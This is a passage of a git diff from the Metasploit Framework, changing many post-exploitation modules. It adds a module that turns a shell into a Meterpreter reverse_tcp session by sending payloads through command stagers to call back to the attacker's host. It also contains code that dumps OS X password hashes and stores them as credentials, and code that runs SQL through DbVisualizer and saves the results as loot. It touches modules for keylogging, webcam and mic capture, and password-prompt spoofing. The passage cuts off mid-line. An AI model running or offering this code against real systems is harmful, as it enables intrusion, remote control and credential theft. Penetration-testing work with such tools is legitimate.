print_error("Nothing read from file: #{dbvis_file}, file may be empty") + return + end + + db_found = false + alias_found = false + db_type = nil + db_type_ok = false + + # fetch config file + raw_xml.each_line do |line| + + if line =~ // + db_found = false + end + + if db_found == true + + # checkthe alias + if (line =~ /([\S+\s+]+)<\/Alias>/i) + if datastore['DBALIAS'] == $1 + alias_found = true + print_good("Alias #{datastore['DBALIAS']} found in dbvis.xml") + end + end + + if (line =~ /([\S+\s+]+)<\/Userid>/i) + if alias_found + print_good("Username for this connection : #{$1}") + end + end + + # check the type + if (line =~ /([\S+\s+]+)<\/Type>/i) + if alias_found + db_type = $1 + alias_found = false + end + end + end + end + if db_type.blank? + print_error("Database alias not found in dbvis.xml") + end + return db_type # That is empty if DB is not supported + end + + # Find path to dbviscmd.sh|bat + def find_dbviscmd + case session.platform + when /linux/ + dbvis = session.shell_command("locate dbviscmd.sh").chomp + if dbvis.chomp == "" + print_error("dbviscmd.sh not found") + return nil + else + print_good("Dbviscmd found : #{dbvis}") + end + when /win/ + # Find program files + progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles') + progfiles_x86 = progfiles_env['ProgramFiles(X86)'] + if not progfiles_x86.blank? and progfiles_x86 !~ /%ProgramFiles\(X86\)%/ + program_files = progfiles_x86 # x64 + else + program_files = progfiles_env['ProgramFiles'] # x86 + end + dirs = [] + session.fs.dir.foreach(program_files) do |d| + dirs << d + end + dbvis_home_dir = nil + #Browse program content to find a possible dbvis home + dirs.each do |d| + if (d =~ /DbVisualizer[\S+\s+]+/i) + dbvis_home_dir = d + end + end + if dbvis_home_dir.blank? + print_error("Dbvis home not found, maybe uninstalled ?") + return nil + end + dbvis = "#{program_files}\\#{dbvis_home_dir}\\dbviscmd.bat" + unless file?(dbvis) + print_error("dbviscmd.bat not found") + return nil + end + print_good("Dbviscmd found : #{dbvis}") + end + return dbvis + end + + # Query execution method + def dbvis_query(dbvis,sql) + error = false + resp = '' + if file?(dbvis) == true + f = session.fs.file.stat(dbvis) + if f.uid == Process.euid or Process.groups.include?f.gid + print_status("Trying to execute evil sql, it can take time ...") + args = "-connection #{datastore['DBALIAS']} -sql \"#{sql}\"" + dbvis = "\"#{dbvis}\"" + cmd = "#{dbvis} #{args}" + resp = cmd_exec(cmd) + print_line("") + print_line("#{resp}") + # store qury and result + p = store_loot( + "dbvis.query", + "text/plain", + session, + resp.to_s, + "dbvis_query.txt", + "dbvis query") + print_good("Query stored in: #{p.to_s}") + else + print_error("User doesn't have enough rights to execute dbviscmd, aborting") + end + else + print_error("#{dbvis} is not a file") + end + return error + end + +end + diff --git a/modules/post/multi/manage/multi_post.rb b/modules/post/multi/manage/multi_post.rb index 04af30f53b..fd93ae6132 100644 --- a/modules/post/multi/manage/multi_post.rb +++ b/modules/post/multi/manage/multi_post.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/manage/play_youtube.rb b/modules/post/multi/manage/play_youtube.rb index db5b645ffe..48cdefcd79 100644 --- a/modules/post/multi/manage/play_youtube.rb +++ b/modules/post/multi/manage/play_youtube.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -9,6 +9,8 @@ class Metasploit3 < Msf::Post include Msf::Post::File + PLAY_OPTIONS = 'autoplay=1&loop=1&disablekb=1&modestbranding=1&iv_load_policy=3&controls=0&showinfo=0&rel=0' + def initialize(info={}) super( update_info( info, 'Name' => 'Multi Manage YouTube Broadcast', @@ -38,7 +40,7 @@ class Metasploit3 < Msf::Post # The OSX version uses an apple script to do this # def osx_start_video(id) - url = "https://youtube.googleapis.com/v/#{id}?fs=1&autoplay=1" + url = "https://youtube.googleapis.com/v/#{id}?fs=1&#{PLAY_OPTIONS}" script = '' script << %Q|osascript -e 'tell application "Safari" to open location "#{url}"' | script << %Q|-e 'activate application "Safari"' | @@ -59,7 +61,7 @@ class Metasploit3 < Msf::Post def win_start_video(id) iexplore_path = "C:\\Program Files\\Internet Explorer\\iexplore.exe" begin - session.sys.process.execute(iexplore_path, "-k http://youtube.com/embed/#{id}?autoplay=1") + session.sys.process.execute(iexplore_path, "-k http://youtube.com/embed/#{id}?#{PLAY_OPTIONS}") rescue Rex::Post::Meterpreter::RequestError => e return false end @@ -86,7 +88,7 @@ class Metasploit3 < Msf::Post write_file("/tmp/#{profile_name}/prefs.js", s) # Start the video - url = "https://youtube.googleapis.com/v/#{id}?fs=1&autoplay=1" + url = "https://youtube.googleapis.com/v/#{id}?fs=1&#{PLAY_OPTIONS}" data_js = %Q|"data:text/html,"| joe = "firefox --display :0 -p #{profile_name} #{data_js} &" cmd_exec("/bin/sh -c #{joe.shellescape}") diff --git a/modules/post/multi/manage/record_mic.rb b/modules/post/multi/manage/record_mic.rb index 3d7c7bee17..bce65e61da 100644 --- a/modules/post/multi/manage/record_mic.rb +++ b/modules/post/multi/manage/record_mic.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -81,4 +81,4 @@ class Metasploit3 < Msf::Post end end -end \ No newline at end of file +end diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb new file mode 100644 index 0000000000..7038742da4 --- /dev/null +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -0,0 +1,287 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' +require 'msf/core/exploit/powershell' +require 'msf/core/post/windows/powershell' + +class Metasploit3 < Msf::Post + include Exploit::Powershell + include Post::Windows::Powershell + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Shell to Meterpreter Upgrade', + 'Description' => %q{ + This module attempts to upgrade a command shell to meterpreter. The shell + platform is automatically detected and the best version of meterpreter for + the target is selected. Currently meterpreter/reverse_tcp is used on Windows + and Linux, with 'python/meterpreter/reverse_tcp' used on all others. + }, + 'License' => MSF_LICENSE, + 'Author' => ['Tom Sellers '], + 'Platform' => [ 'linux', 'osx', 'unix', 'solaris', 'bsd', 'windows' ], + 'SessionTypes' => [ 'shell' ] + )) + register_options( + [ + OptAddress.new('LHOST', + [false, 'IP of host that will receive the connection from the payload.']), + OptInt.new('LPORT', + [false, 'Port for Payload to connect to.', 4433]), + OptBool.new('HANDLER', + [ true, 'Start an Exploit Multi Handler to receive the connection', true]) + ], self.class) + deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64') + end + + # Run Method for when run command is issued + def run + print_status("Upgrading session: #{datastore['SESSION']}") + + # Try hard to find a valid LHOST value in order to + # make running 'sessions -u' as robust as possible. + if datastore['LHOST'] + lhost = datastore['LHOST'] + elsif framework.datastore['LHOST'] + lhost = framework.datastore['LHOST'] + else + lhost = session.tunnel_local.split(':')[0] + end + + # If nothing else works.... + lhost = Rex::Socket.source_address if lhost.blank? + + lport = datastore['LPORT'] + + # Handle platform specific variables and settings + case session.platform + when /win/i + platform = 'win' + payload_name = 'windows/meterpreter/reverse_tcp' + lplat = [Msf::Platform::Windows] + larch = [ARCH_X86] + psh_arch = 'x86' + when /osx/i + platform = 'python' + payload_name = 'python/meterpreter/reverse_tcp' + when /solaris/i + platform = 'python' + payload_name = 'python/meterpreter/reverse_tcp' + else + # Find the best fit, be specific w/ uname to avoid matching hostname or something else + target_info = cmd_exec('uname -mo') + if target_info =~ /linux/i && target_info =~ /86/ + # Handle linux shells that were identified as 'unix' + platform = 'linux' + payload_name = 'linux/x86/meterpreter/reverse_tcp' + lplat = [Msf::Platform::Linux] + larch = [ARCH_X86] + elsif cmd_exec('python -V') =~ /Python (2|3)\.(\d)/ + # Generic fallback for OSX, Solaris, Linux/ARM + platform = 'python' + payload_name = 'python/meterpreter/reverse_tcp' + end + end + + if platform.blank? + print_error("Shells on the the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.") + return nil + end + + payload_data = generate_payload(lhost, lport, payload_name) + if payload_data.blank? + print_error("Unable to build a suitable payload for #{session.platform} using payload #{payload_name}.") + return nil + end + + if datastore['HANDLER'] + listener_job_id = create_multihandler(lhost, lport, payload_name) + if listener_job_id.blank? + print_error("Failed to start multi/handler on #{datastore['LPORT']}, it may be in use by another process.") + return nil + end + end + + case platform + when 'win' + if have_powershell? + psh_opts = { :prepend_sleep => 1, :encode_inner_payload => true, :persist => false } + cmd_exec(cmd_psh_payload(payload_data, psh_arch, psh_opts)) + else + exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data) + aborted = transmit_payload(exe) + end + when 'python' + cmd_exec("python -c \"#{payload_data}\"") + else + exe = Msf::Util::EXE.to_executable(framework, larch, lplat, payload_data) + aborted = transmit_payload(exe) + end + + cleanup_handler(listener_job_id, aborted) if datastore['HANDLER'] + return nil + end + + def transmit_payload(exe) + # + # Generate the stager command array + # + linemax = 1700 + if (session.exploit_datastore['LineMax']) + linemax = session.exploit_datastore['LineMax'].to_i + end + opts = { + :linemax => linemax, + #:nodelete => true # keep temp files (for debugging) + } + if session.platform =~ /win/i + opts[:decoder] = File.join(Msf::Config.data_directory, 'exploits', 'cmdstager', 'vbs_b64') + cmdstager = Rex::Exploitation::CmdStagerVBS.new(exe) + else + opts[:background] = true + cmdstager = Rex::Exploitation::CmdStagerBourne.new(exe) + # Note: if a OS X binary payload is added in the future, use CmdStagerPrintf + # as /bin/sh on OS X doesn't support the -n option on echo + end + + cmds = cmdstager.generate(opts) + if cmds.nil? || cmds.length < 1 + print_error('The command stager could not be generated') + raise ArgumentError + end + + # + # Calculate the total size + # + total_bytes = 0 + cmds.each { |cmd| total_bytes += cmd.length } + + begin + # + # Run the commands one at a time + # + sent = 0 + aborted = false + cmds.each { |cmd| + ret = session.shell_command_token(cmd) + if !ret + aborted = true + else + ret.strip! + aborted = true if !ret.empty? + end + if aborted + print_error('Error: Unable to execute the following command: ' + cmd.inspect) + print_error('Output: ' + ret.inspect) if ret && !ret.empty? + break + end + + sent += cmd.length + + progress(total_bytes, sent) + } + rescue ::Interrupt + # TODO: cleanup partial uploads! + aborted = true + rescue => e + print_error("Error: #{e}") + aborted = true + end + + return aborted + end + + def cleanup_handler(listener_job_id, aborted) + # Return if the job has already finished + return nil if framework.jobs[listener_job_id].nil? + + framework.threads.spawn('ShellToMeterpreterUpgradeCleanup', false) { + if !aborted + timer = 0 + while !framework.jobs[listener_job_id].nil? && timer < 10 + # Wait up to 10 seconds for the session to come in.. + sleep(1) + timer += 1 + end + end + print_status('Stopping multi/handler') + framework.jobs.stop_job(listener_job_id) + } + end + + # + # Show the progress of the upload + # + def progress(total, sent) + done = (sent.to_f / total.to_f) * 100 + print_status("Command Stager progress - %3.2f%% done (%d/%d bytes)" % [done.to_f, sent, total]) + end + + # Method for checking if a listener for a given IP and port is present + # will return true if a conflict exists and false if none is found + def check_for_listener(lhost, lport) + client.framework.jobs.each do |k, j| + if j.name =~ / multi\/handler/ + current_id = j.jid + current_lhost = j.ctx[0].datastore['LHOST'] + current_lport = j.ctx[0].datastore['LPORT'] + if lhost == current_lhost && lport == current_lport.to_i + print_error("Job #{current_id} is listening on IP #{current_lhost} and port #{current_lport}") + return true + end + end + end + return false + end + + # Starts a multi/handler session + def create_multihandler(lhost, lport, payload_name) + pay = client.framework.payloads.create(payload_name) + pay.datastore['LHOST'] = lhost + pay.datastore['LPORT'] = lport + print_status('Starting exploit multi handler') + if !check_for_listener(lhost, lport) + # Set options for module + mh = client.framework.exploits.create('multi/handler') + mh.share_datastore(pay.datastore) + mh.datastore['WORKSPACE'] = client.workspace + mh.datastore['PAYLOAD'] = payload_name + mh.datastore['EXITFUNC'] = 'thread' + mh.datastore['ExitOnSession'] = true + # Validate module options + mh.options.validate(mh.datastore) + # Execute showing output + mh.exploit_simple( + 'Payload' => mh.datastore['PAYLOAD'], + 'LocalInput' => self.user_input, + 'LocalOutput' => self.user_output, + 'RunAsJob' => true + ) + + # Check to make sure that the handler is actually valid + # If another process has the port open, then the handler will fail + # but it takes a few seconds to do so. The module needs to give + # the handler time to fail or the resulting connections from the + # target could end up on on a different handler with the wrong payload + # or dropped entirely. + select(nil, nil, nil, 5) + return nil if framework.jobs[mh.job_id.to_s].nil? + + return mh.job_id.to_s + else + print_error('A job is listening on the same local port') + return nil + end + end + + def generate_payload(lhost, lport, payload_name) + payload = framework.payloads.create(payload_name) + options = "LHOST=#{lhost} LPORT=#{lport}" + buf = payload.generate_simple('OptionStr' => options) + buf + end +end diff --git a/modules/post/multi/manage/sudo.rb b/modules/post/multi/manage/sudo.rb index da590498d3..afa83fcea1 100644 --- a/modules/post/multi/manage/sudo.rb +++ b/modules/post/multi/manage/sudo.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/manage/system_session.rb b/modules/post/multi/manage/system_session.rb index e12423f668..5aac76272c 100644 --- a/modules/post/multi/manage/system_session.rb +++ b/modules/post/multi/manage/system_session.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/osx/admin/say.rb b/modules/post/osx/admin/say.rb index 73ab461b51..1dd4926654 100644 --- a/modules/post/osx/admin/say.rb +++ b/modules/post/osx/admin/say.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/osx/capture/keylog_recorder.rb b/modules/post/osx/capture/keylog_recorder.rb index 68e3052fcc..12da6d02d1 100644 --- a/modules/post/osx/capture/keylog_recorder.rb +++ b/modules/post/osx/capture/keylog_recorder.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -178,7 +178,7 @@ child_pid = fork do def method_missing(meth, *args, &block) str = meth.to_s lower = str[0,1].downcase + str[1..-1] - if self.respond_to? lower + if self.respond_to? lower, true self.send lower, *args else super diff --git a/modules/post/osx/capture/screen.rb b/modules/post/osx/capture/screen.rb index d40e48ae2d..b19f3ed240 100644 --- a/modules/post/osx/capture/screen.rb +++ b/modules/post/osx/capture/screen.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/osx/gather/autologin_password.rb b/modules/post/osx/gather/autologin_password.rb index 25f14542f4..a34127ce13 100644 --- a/modules/post/osx/gather/autologin_password.rb +++ b/modules/post/osx/gather/autologin_password.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -61,13 +61,18 @@ class Metasploit3 < Msf::Post end.join.sub(/\x00.*$/, '') # save in the database - report_auth_info( - :host => session.session_host, - :sname => 'login', - :user => autouser, - :pass => decoded, - :active => true - ) + # Don't record a Login, since we don't know what service to tie it to + credential_data = { + workspace_id: myworkspace_id, + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: autouser, + private_data: decoded, + private_type: :password + } + + create_credential(credential_data) print_good "Decoded autologin password: #{autouser}:#{decoded}" end diff --git a/modules/post/osx/gather/enum_adium.rb b/modules/post/osx/gather/enum_adium.rb index d96e544962..bfc8be6cd0 100644 --- a/modules/post/osx/gather/enum_adium.rb +++ b/modules/post/osx/gather/enum_adium.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/osx/gather/enum_airport.rb b/modules/post/osx/gather/enum_airport.rb index 0af988662e..df342ea521 100644 --- a/modules/post/osx/gather/enum_airport.rb +++ b/modules/post/osx/gather/enum_airport.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/osx/gather/enum_chicken_vnc_profile.rb b/modules/post/osx/gather/enum_chicken_vnc_profile.rb index c407e0b41e..39ff10c777 100644 --- a/modules/post/osx/gather/enum_chicken_vnc_profile.rb +++ b/modules/post/osx/gather/enum_chicken_vnc_profile.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/osx/gather/enum_colloquy.rb b/modules/post/osx/gather/enum_colloquy.rb index 73fd44ff90..7e029d0ea7 100644 --- a/modules/post/osx/gather/enum_colloquy.rb +++ b/modules/post/osx/gather/enum_colloquy.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/osx/gather/enum_keychain.rb b/modules/post/osx/gather/enum_keychain.rb index ddc9785379..7f464a6c29 100644 --- a/modules/post/osx/gather/enum_keychain.rb +++ b/modules/post/osx/gather/enum_keychain.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/osx/gather/enum_osx.rb b/modules/post/osx/gather/enum_osx.rb index ac943db0e7..297c8bb561 100644 --- a/modules/post/osx/gather/enum_osx.rb +++ b/modules/post/osx/gather/enum_osx.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -46,7 +46,6 @@ class Metasploit3 < Msf::Post enum_accounts(log_folder, ver_num) get_crypto_keys(log_folder) screenshot(log_folder, ver_num) - dump_hash(ver_num) if running_root dump_bash_history(log_folder) get_keychains(log_folder) @@ -459,142 +458,6 @@ class Metasploit3 < Msf::Post end end end - # Dump SHA1 Hashes used by OSX, must be root to get the Hashes - def dump_hash(log_folder,ver_num) - print_status("Dumping Hashes") - users = [] - nt_hash = nil - host = session.session_host - - # Path to files with hashes - sha1_file = "" - - # Check if system is Lion if not continue - if ver_num =~ /10\.(7)/ - - hash_decoded = "" - - # get list of profiles present in the box - profiles = cmd_exec("ls /private/var/db/dslocal/nodes/Default/users").split("\n") - - if profiles - profiles.each do |p| - # Skip none user profiles - next if p =~ /^_/ - next if p =~ /^daemon|root|nobody/ - - # Turn profile plist in to XML format - cmd_exec("cp","/private/var/db/dslocal/nodes/Default/users/#{p.chomp} /tmp/") - cmd_exec("plutil","-convert xml1 /tmp/#{p.chomp}") - file = cmd_exec("cat","/tmp/#{p.chomp}") - - # Clean up using secure delete overwriting and zeroing blocks - cmd_exec("/usr/bin/srm","-m -z /tmp/#{p.chomp}") - - # Process XML Plist into a usable hash - plist_values = read_ds_xml_plist(file) - - # Extract the shadow hash data, decode it and format it - plist_values['ShadowHashData'].join("").unpack('m')[0].each_byte do |b| - hash_decoded << sprintf("%02X", b) - end - user = plist_values['name'].join("") - - # Check if NT HASH is present - if hash_decoded =~ /4F1010/ - nt_hash = hash_decoded.scan(/^\w*4F1010(\w*)4F1044/)[0][0] - end - - # Carve out the SHA512 Hash, the first 4 bytes is the salt - sha512 = hash_decoded.scan(/^\w*4F1044(\w*)(080B190|080D101E31)/)[0][0] - - print_status("SHA512:#{user}:#{sha512}") - sha1_file << "#{user}:#{sha512}\n" - - # Reset hash value - sha512 = "" - - if nt_hash - print_status("NT:#{user}:#{nt_hash}") - print_status("Credential saved in database.") - report_auth_info( - :host => host, - :port => 445, - :sname => 'smb', - :user => user, - :pass => "AAD3B435B51404EE:#{nt_hash}", - :active => true - ) - - # Reset hash value - nt_hash = nil - end - # Reset hash value - hash_decoded = "" - end - end - # Save pwd file - upassf = store_loot("osx.hashes.sha512", "text/plain", session, sha1_file, "unshadowed_passwd.pwd", "OSX Unshadowed SHA512 Password File") - print_good("Unshadowed Password File: #{upassf}") - - # If system was lion and it was processed nothing more to do - return - end - - users_folder = cmd_exec("/bin/ls","/Users") - - users_folder.each_line do |u| - next if u.chomp =~ /Shared|\.localized/ - users << u.chomp - end - # Process each user - users.each do |user| - if ver_num =~ /10\.(6|5)/ - guid = cmd_exec("/usr/bin/dscl", "localhost -read /Search/Users/#{user} | grep GeneratedUID | cut -c15-").chomp - elsif ver_num =~ /10\.(4|3)/ - guid = cmd_exec("/usr/bin/niutil","-readprop . /users/#{user} generateduid").chomp - end - - # Extract the hashes - sha1_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c169-216").chomp - nt_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c1-32").chomp - lm_hash = cmd_exec("/bin/cat", "/var/db/shadow/hash/#{guid} | cut -c33-64").chomp - - # Check that we have the hashes and save them - if sha1_hash !~ /00000000000000000000000000000000/ - print_status("SHA1:#{user}:#{sha1_hash}") - sha1_file << "#{user}:#{sha1_hash}" - end - - if nt_hash !~ /000000000000000/ - print_status("NT:#{user}:#{nt_hash}") - print_status("Credential saved in database.") - report_auth_info( - :host => host, - :port => 445, - :sname => 'smb', - :user => user, - :pass => "AAD3B435B51404EE:#{nt_hash}", - :active => true - ) - end - if lm_hash !~ /0000000000000/ - print_status("LM:#{user}:#{lm_hash}") - print_status("Credential saved in database.") - report_auth_info( - :host => host, - :port => 445, - :sname => 'smb', - :user => user, - :pass => "#{lm_hash}:", - :active => true - ) - end - end - # Save pwd file - upassf = store_loot("osx.hashes.sha1", "text/plain", session, sha1_file, "unshadowed_passwd.pwd", "OSX Unshadowed SHA1 Password File") - print_good("Unshadowed Password File: #{upassf}") - end # Download configured Keychains def get_keychains(log_folder) diff --git a/modules/post/osx/gather/hashdump.rb b/modules/post/osx/gather/hashdump.rb index 85f389f207..10918a0540 100644 --- a/modules/post/osx/gather/hashdump.rb +++ b/modules/post/osx/gather/hashdump.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -42,9 +42,6 @@ class Metasploit3 < Msf::Post def run fail_with("Insufficient Privileges: must be running as root to dump the hashes") unless root? - # build a single hash_file containing all users' hashes - hash_file = '' - # iterate over all users users.each do |user| next if datastore['MATCHUSER'].present? and datastore['MATCHUSER'] !~ user @@ -70,27 +67,25 @@ class Metasploit3 < Msf::Post iterations = dict.elements[4].text.gsub(/\s+/, '') salt = Rex::Text.to_hex(dict.elements[6].text.gsub(/\s+/, '').unpack('m*')[0], '') - # PBKDF2 stored in format - decoded_hash = "#{user}:$ml$#{iterations}$#{salt}$#{entropy}" - print_good "SHA512:#{decoded_hash}" - hash_file << decoded_hash + # PBKDF2 stored in format + decoded_hash = "$ml$#{iterations}$#{salt}$#{entropy}" + report_hash("SHA-512 PBKDF2", decoded_hash, user) elsif lion? # 10.7 # pull the shadow from dscl shadow_bytes = grab_shadow_blob(user) next if shadow_bytes.blank? # on 10.7 the ShadowHashData is stored in plaintext - hash_decoded = shadow_bytes.upcase + hash_decoded = shadow_bytes.downcase # Check if NT HASH is present - if hash_decoded =~ /4F1010/ - report_nt_hash(hash_decoded.scan(/^\w*4F1010(\w*)4F1044/)[0][0], user) + if hash_decoded =~ /4f1010/ + report_hash("NT", hash_decoded.scan(/^\w*4f1010(\w*)4f1044/)[0][0], user) end # slice out the sha512 hash + salt - sha512 = hash_decoded.scan(/^\w*4F1044(\w*)(080B190|080D101E31)/)[0][0] - print_status("SHA512:#{user}:#{sha512}") - hash_file << "#{user}:#{sha512}\n" + sha512 = hash_decoded.scan(/^\w*4f1044(\w*)(080b190|080d101e31)/)[0][0] + report_hash("SHA-512", sha512, user) else # 10.6 and below # On 10.6 and below, SHA-1 is used for encryption guid = if gte_leopard? @@ -106,38 +101,16 @@ class Metasploit3 < Msf::Post # Check that we have the hashes and save them if sha1_hash !~ /0000000000000000000000000/ - print_status("SHA1:#{user}:#{sha1_hash}") - hash_file << "#{user}:#{sha1_hash}" + report_hash("SHA-1", sha1_hash, user) end if nt_hash !~ /000000000000000/ - report_nt_hash(nt_hash, user) + report_hash("NT", nt_hash, user) end if lm_hash !~ /0000000000000/ - print_status("LM:#{user}:#{lm_hash}") - print_status("Credential saved in database.") - report_auth_info( - :host => host, - :port => 445, - :sname => 'smb', - :user => user, - :pass => "#{lm_hash}:", - :active => true - ) + report_hash("LM", lm_hash, user) end end end - # Save pwd file - upassf = if gt_lion? - store_loot("osx.hashes.sha512pbkdf2", "text/plain", session, hash_file, - "unshadowed_passwd.pwd", "OSX Unshadowed SHA-512PBKDF2 Password File") - elsif lion? - store_loot("osx.hashes.sha512", "text/plain", session, hash_file, - "unshadowed_passwd.pwd", "OSX Unshadowed SHA-512 Password File") - else - store_loot("osx.hashes.sha1", "text/plain", session, hash_file, - "unshadowed_passwd.pwd", "OSX Unshadowed SHA-1 Password File") - end - print_good("Unshadowed Password File: #{upassf}") end private @@ -153,7 +126,9 @@ class Metasploit3 < Msf::Post end # @return [String] hostname - def host; session.session_host; end + def host + session.session_host + end # @return [Bool] system version is 10.7 def lion? @@ -189,19 +164,31 @@ class Metasploit3 < Msf::Post return fields end - # reports the NT hash info to metasploit backend - def report_nt_hash(nt_hash, user) - return unless nt_hash.present? - print_status("NT:#{user}:#{nt_hash}") - print_status("Credential saved in database.") - report_auth_info( - :host => host, - :port => 445, - :sname => 'smb', - :user => user, - :pass => "AAD3B435B51404EE:#{nt_hash}", - :active => true + # reports the hash info to metasploit backend + def report_hash(type, hash, user) + return unless hash.present? + print_status("#{type}:#{user}:#{hash}") + case type + when "NT" + private_data = "#{Metasploit::Credential::NTLMHash::BLANK_LM_HASH}:#{hash}" + private_type = :ntlm_hash + when "LM" + private_data = "#{hash}:#{Metasploit::Credential::NTLMHash::BLANK_NT_HASH}" + private_type = :ntlm_hash + when "SHA-512 PBKDF2", "SHA-512", "SHA-1" + private_data = hash + private_type = :nonreplayable_hash + end + create_credential( + workspace_id: myworkspace_id, + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: user, + private_data: private_data, + private_type: private_type ) + print_status("Credential saved in database.") end # Checks if running as root on the target diff --git a/modules/post/osx/gather/password_prompt_spoof.rb b/modules/post/osx/gather/password_prompt_spoof.rb index cada8372aa..1ba4c2be21 100644 --- a/modules/post/osx/gather/password_prompt_spoof.rb +++ b/modules/post/osx/gather/password_prompt_spoof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/osx/gather/safari_lastsession.rb b/modules/post/osx/gather/safari_lastsession.rb index b1ce88251a..f26426aaf2 100644 --- a/modules/post/osx/gather/safari_lastsession.rb +++ b/modules/post/osx/gather/safari_lastsession.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/osx/manage/mount_share.rb b/modules/post/osx/manage/mount_share.rb index 972e23750f..f68abe4b92 100644 --- a/modules/post/osx/manage/mount_share.rb +++ b/modules/post/osx/manage/mount_share.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -217,5 +217,7 @@ class Metasploit3 < Msf::Post end # path to osascript on the remote system - def osascript_path; datastore['OSASCRIPT_PATH'].shellescape; end + def osascript_path + datastore['OSASCRIPT_PATH'].shellescape + end end diff --git a/modules/post/osx/manage/record_mic.rb b/modules/post/osx/manage/record_mic.rb index 1c4ee89524..365c51776c 100644 --- a/modules/post/osx/manage/record_mic.rb +++ b/modules/post/osx/manage/record_mic.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -123,6 +123,11 @@ class Metasploit3 < Msf::Post private - def poll_timeout; POLL_TIMEOUT; end - def fail_with(msg); raise msg; end + def poll_timeout + POLL_TIMEOUT + end + + def fail_with(msg) + raise msg + end end diff --git a/modules/post/osx/manage/vpn.rb b/modules/post/osx/manage/vpn.rb index cea4e7e220..57694119c7 100644 --- a/modules/post/osx/manage/vpn.rb +++ b/modules/post/osx/manage/vpn.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/osx/manage/webcam.rb b/modules/post/osx/manage/webcam.rb index 017ee04ca4..9cfc189964 100644 --- a/modules/post/osx/manage/webcam.rb +++ b/modules/post/osx/manage/webcam.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -144,6 +144,11 @@ class Metasploit3 < Msf::Post private - def poll_timeout; POLL_TIMEOUT; end - def fail_with(msg); raise msg; end + def 